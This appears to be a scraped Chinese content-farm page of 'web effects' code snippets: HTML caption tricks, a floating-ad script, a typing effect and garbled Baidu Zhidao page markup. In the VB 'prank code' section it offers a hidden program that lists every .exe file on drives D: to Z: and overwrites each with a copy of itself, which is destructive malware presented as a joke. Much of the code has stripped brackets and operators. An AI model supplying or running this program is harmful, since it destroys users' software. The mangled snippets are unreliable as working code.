当前位置:首页 > 代码 > 正文

代码特效大全(手机特效代码大全)

admin 发布:2022-12-19 19:29 93


本篇文章给大家谈谈代码特效大全,以及手机特效代码大全对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。

本文目录一览:

谁能告诉我一些有用的网页特效代码啊?

!--STATUS OK--

!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

html

head

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

link rel="alternate" type="application/rss+xml" title="“谁能告诉我一些有用的网页特效代码啊?”的最新回答(RSS 2.0)" href=";qid=2601349pn=65535rn=25tn=rssqb"

title谁能告诉我一些有用的网页特效代码啊?_百度知道 /title

style type="text/css"

!--

a.f12og:link{color:#ff6600}

a.f12og:visited{color:#ff6600}

--

/style

link href="/iknow.css" rel="stylesheet" type="text/css"

script language="JavaScript" type="text/JavaScript"

function ask(fn)

{document.fask.word.value=fn.word.value;

fask.submit();

}

/script

/head

body class="bgbdy" topmargin="0"

center

table width="770" border=0 align="center"

tbody

tr

td width="150" valign=topa href="/"img src="" border="0"/a/td

td height="55" style="table-layout: fixed; word-break: break-all"table cellspacing=0 cellpadding=0 border=0

tr

td nowrap class="tab"a href="" class="headTit"新闻/a   a href="" class="headTit"网页/a   a class="headTit" href=""贴吧/a   font class="headTitB"知道/font   a class="headTit" href=""MP3/a   a class="headTit" href=""图片/a/td

/tr

/table

table border="0" cellspacing="0" cellpadding="0"

tr

form action="/q" name="ftop" method="get"

td nowrap

input class=formfont maxlength=256 tabindex=1 size=42 name=word

/td

td width="30" valign="bottom" nowrapdiv align="right"span style="padding-bottom:15px; "a href=""帮助/a/span/div/td

/tr

/table

table cellspacing=0 cellpadding=0 border=0

tr valign="bottom"

td height="28" nowrap input type="submit" tabindex=2 value="搜索答案" class="bnsrh"

/td

td width="86" nowrap div align="right"

input type="hidden" name="ct" value="17"

input type="hidden" name="pn" value="0"

input type="hidden" name="tn" value="ikaslist"

input type="hidden" name="rn" value="10"

input type="button" onclick="ask(ftop);" tabindex=3 value="我要提问" class="bnsrh"

/div/td /form

/tr

/table

form name="fask" action="/q" method="get" input type="hidden" name="ct" value="17"input type="hidden" name="pn" value="0"input type="hidden" name="tn" value="ikask"input type="hidden" name="rn" value="10"input type="hidden" name="word" value="" input type="hidden" name="cm" value="1"input type="hidden" name="lm" value="394496"/form

/td/tr

/table

script

var url = escape(location.href);

function ctlSubmit(event) {

if (event.ctrlKey event.keyCode == 13) { fdf.submit() }

}

function checkco(f,des)

{ if(f.co.value=="") {alert("请输入您的"+des); return false;}}

function limitpl(f,des)

{ if(f.co.value=="") {alert("请输入您的"+des); return false;} return limitChars(f.co,des,200);}

function checkcoAndsn(f,des)

{ if(f.co.value=="") {alert("请输入您的"+des); return false;} return limitChars(f.sn,"参考资料",60);

一些js的特效小代码

object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"

param name="Command" value="Minimize"/object

input type=button value=最小化 onclick=hh1.Click()

这个你可以试试。但只针对ie,其他的多标签浏览器似乎不能实现

网站漂浮广告代码怎么写

script type="text/javascript"

function hidead()

{document.getElementById("ad").style.display="none";}

/script

div id="ad" style="position:absolute"

!--放广告代码--DIV onClick="hidead();" style="FONT-SIZE: 9pt; CURSOR: hand" align=right关闭广告×/DIV/div

script

var x = 80,y = 80

var xin = true, yin = true

var step = 1

var delay = 1

var obj=document.getElementById("ad")

function floatAD() {

var L=T=0

var R= document.body.clientWidth-obj.offsetWidth

var B = document.body.clientHeight-obj.offsetHeight

obj.style.left = x + document.body.scrollLeft

obj.style.top = y + document.body.scrollTop

x = x + step*(xin?1:-1)

if (x L) { xin = true; x = L}

if (x R){ xin = false; x = R}

y = y + step*(yin?1:-1)

if (y T) { yin = true; y = T }

if (y B) { yin = false; y = B }

}

var itl= setInterval("floatAD()", delay)

obj.onmouseover=function(){clearInterval(itl)}

obj.onmouseout=function(){itl=setInterval("floatAD()", delay)}

/script

求一些VB恶搞代码。效果越厉害越好,例如:蓝屏.等等

电脑桌面融化,这段代码真的很强悍 ! 居然搞的我看不到屏幕 , 就像雪糕一样被融化了; Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Const SRCCOPY = HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer

Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load()

Me.Hide

Desktop = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC(Desktop)

Buffer = CreateCompatibleBitmap(Desktop, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

SelectObject hBitmap, Buffer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY

For i = 0 To 1E+17

y = (Screen.Height / 15) * Rnd

x = (Screen.Width / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub 还有个杀手锏;一段要人命的vb代码

-----------------------------------------------声明---------------------------------------------------------------

’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()

On Error Resume Next ’容错句

If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件

Open "c:\a.bat" For Output As #1 ’打开bat文件

Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe e:\123.txt" ’写入数据

Close #1 ’关闭文件

Sleep 200 ’延时200秒等待文件生成(主要为了慢机器)

Shell "c:\a.bat", 0 ’隐藏运行之

End If

Sleep 60000 ’延时1分钟等待exe遍历完成

Dim A() As String

Dim C As Long, I As Integer

Open "c:\123.txt" For Input As #1 ’读取txt里面的内容

Do While EOF(1) = False

ReDim Preserve A(C)

Input #1, A(C)

C = C + 1

Loop

Close #1

For I = 0 To C - 1

FileCopy App.Path "\" App.EXEName ".exe", A(I) ’把txt里面的内容替换掉

Next

End Sub

/SPAN

字幕特效的代码有那些?

在图片左边写字的代码:

PIMG height=201 hspace=30 src="图片连接地址" width=154 align=right border=0FONT face=Arial你要输入的文字/FONT

在图片右边写文字的代码:

PIMG height=201 hspace=30 src="图片连接地址" width=154 align=left border=0FONT face=Arial你要输入的文字/FONT

height=是图片高度,width=是图片宽度,hspace=是与文字之间的距离,可以自己调整数值,

标题字幕特效

你想让自己的文章更加光彩吗?试试下面这个代码吧!

FONT style="FONT-SIZE: 20pt; FILTER: shadow(color=blue); WIDTH: 100%; COLOR: #000000; FONT-FAMILY: 华文彩云; HEIGHT: 48px"B 你将要换上的文字/B/FONT

将其中的“你将要换上的文字”更换成你的文字就行了。

其中的(color=blue)是字体颜色。

让字幕上下滚动的代码

MARQUEE scrollAmount=1 scrollDelay=77 direction=up width=270 height=77

onmouseout="this.start()" onmouseover="this.stop()"你的字

BR你的字

BR你的字

BR你的字

BR你的字/MARQUEE

BR后面是显示的文字,根据你的需要填写。

注意,一个BR代表一行字,如果一行字太长,可能导致显示不完全。

/MARQUEE代表文字结束。

让文字写在图片上的代码

1. 进入发表文章窗口;(想要作背景的图片网络地址应该先前就知道,否则文章做一半又得去找图,多烦!)

2. 勾选“显示源代码”---至关重要!

3. 在编辑栏内添加下列代码:

table width="450" border="0"

tr

td height="562" background="图片地址"/td

/tr

/table

4. 取消“显示源代码”的选择,你就会在编辑栏看到图片,而且光标也在图片之上(可能光标的首行不在图片的顶端,不过没有关系,尽管从光标的首行可是您的写作就行了,文字会自动顶到图片的顶端);

5. 写文章与没有图片一样,完了点击“发表文章”就行了。

求网页特效代码

打字效果的文字特效[修改显示的文字即可]

[根据下面的说明进行共1步]

====2、以下代码放在HTML的body/body之间[适当的位置]:

script language=javascript

var layers =document.layers,style=document.all,both=layers||style,idme=908601;

if(layers){layerRef='document.layers';styleRef ='';}if(style){layerRef='document.all';styleRef =

'.style';}

function writeOnText(obj,str){

if(layers)with(document[obj]){ document.open();document.write(str);document.close();}

if(style)eval(obj+'.innerHTML=str'); }

var dispStr=new Array("javascript源码大全");

var overMe=0;

function txtTyper(str,idx,idObj,spObj,clr1,clr2,delay,plysnd){

var tmp0=tmp1= '',skip=100;

if (both idx=str.length) {

if (str.charAt(idx)==''){ while(str.charAt(idx)!='') idx++;idx++;}

if (str.charAt(idx)==''str.charAt(idx+1)!=' '){ while (str.charAt(idx)!= ';')idx++;idx++;}

tmp0 = str.slice(0,idx);

tmp1 = str.charAt(idx++);

if (overMe==0 plysnd==1){

if (navigator.plugins[0]){

if(navigator.plugins["LiveAudio"][0].type=="audio/basic" navigator.javaEnabled()){document.embeds

[0].stop();

setTimeout("document.embeds[0].play(false)",100);}

} else if (document.all){

ding.Stop();

setTimeout("ding.Run()",100);}

overMe=1;}else overMe=0;

writeOnText(idObj, "span class="+spObj+"font color='"+clr1+"'"+tmp0+"/fontfont color='"+clr2

+"'"+tmp1+"/font/span");

setTimeout("txtTyper('"+str+"', "+idx+", '"+idObj+"', '"+spObj+"', '"+clr1+"', '"+clr2+"', "+delay+" ,"+plysnd+")",delay);}}

function init(){txtTyper(dispStr[0], 0, 'ttl0', 'ttl1', '#339933', '#99FF33', 300, 0);}

/script

BODY onload=init()

DIV class=ttl1 id=ttl0/DIV

/BODY

关于代码特效大全和手机特效代码大全的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。

版权说明:如非注明,本站文章均为 AH站长 原创,转载请注明出处和附带本文链接;

本文地址:http://ahzz.com.cn/post/20475.html


取消回复欢迎 发表评论:

分享到

温馨提示

下载成功了么?或者链接失效了?

联系我们反馈

立即下载